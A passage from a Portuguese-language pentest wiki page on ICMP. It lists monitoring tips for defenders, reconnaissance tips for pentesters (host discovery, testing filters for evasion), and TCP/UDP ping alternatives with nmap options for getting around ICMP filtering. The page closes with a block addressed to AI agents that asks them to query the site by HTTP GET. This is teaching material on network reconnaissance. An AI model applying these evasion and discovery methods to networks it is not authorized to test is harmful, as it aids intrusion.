   * Monitorar ICMP tunneling
   * Logging de ICMP Redirects
   * Alertas para altas taxas de tráfego
3. **Para Pentesters**
   * Usar ICMP para host discovery
   * Testar filtragem ICMP para evasão
   * Verificar MTU e fragmentação
   * Documentar tipos ICMP permitidos

### **Alternativas e Futuro**

```yaml
Alternativas ao ICMP:
  
  ICMPv6:
    - Similar ao ICMPv4, mas com funções adicionais
    - Neighbor Discovery (substituto ARP)
    - Router Advertisement/Solicitation
  
  TCP Ping:
    - SYN/ACK para portas comuns
    - Menos bloqueado por firewalls
  
  UDP Ping:
    - Portas altas ou específicas
    - Útil para contornar filtros ICMP
  
  Ferramentas:
    - tcping (TCP ping)
    - udpping (UDP ping)
    - nmap com opções -PS, -PA, -PU
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/conceitos/redes/protocolos-de-rede/icmp.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
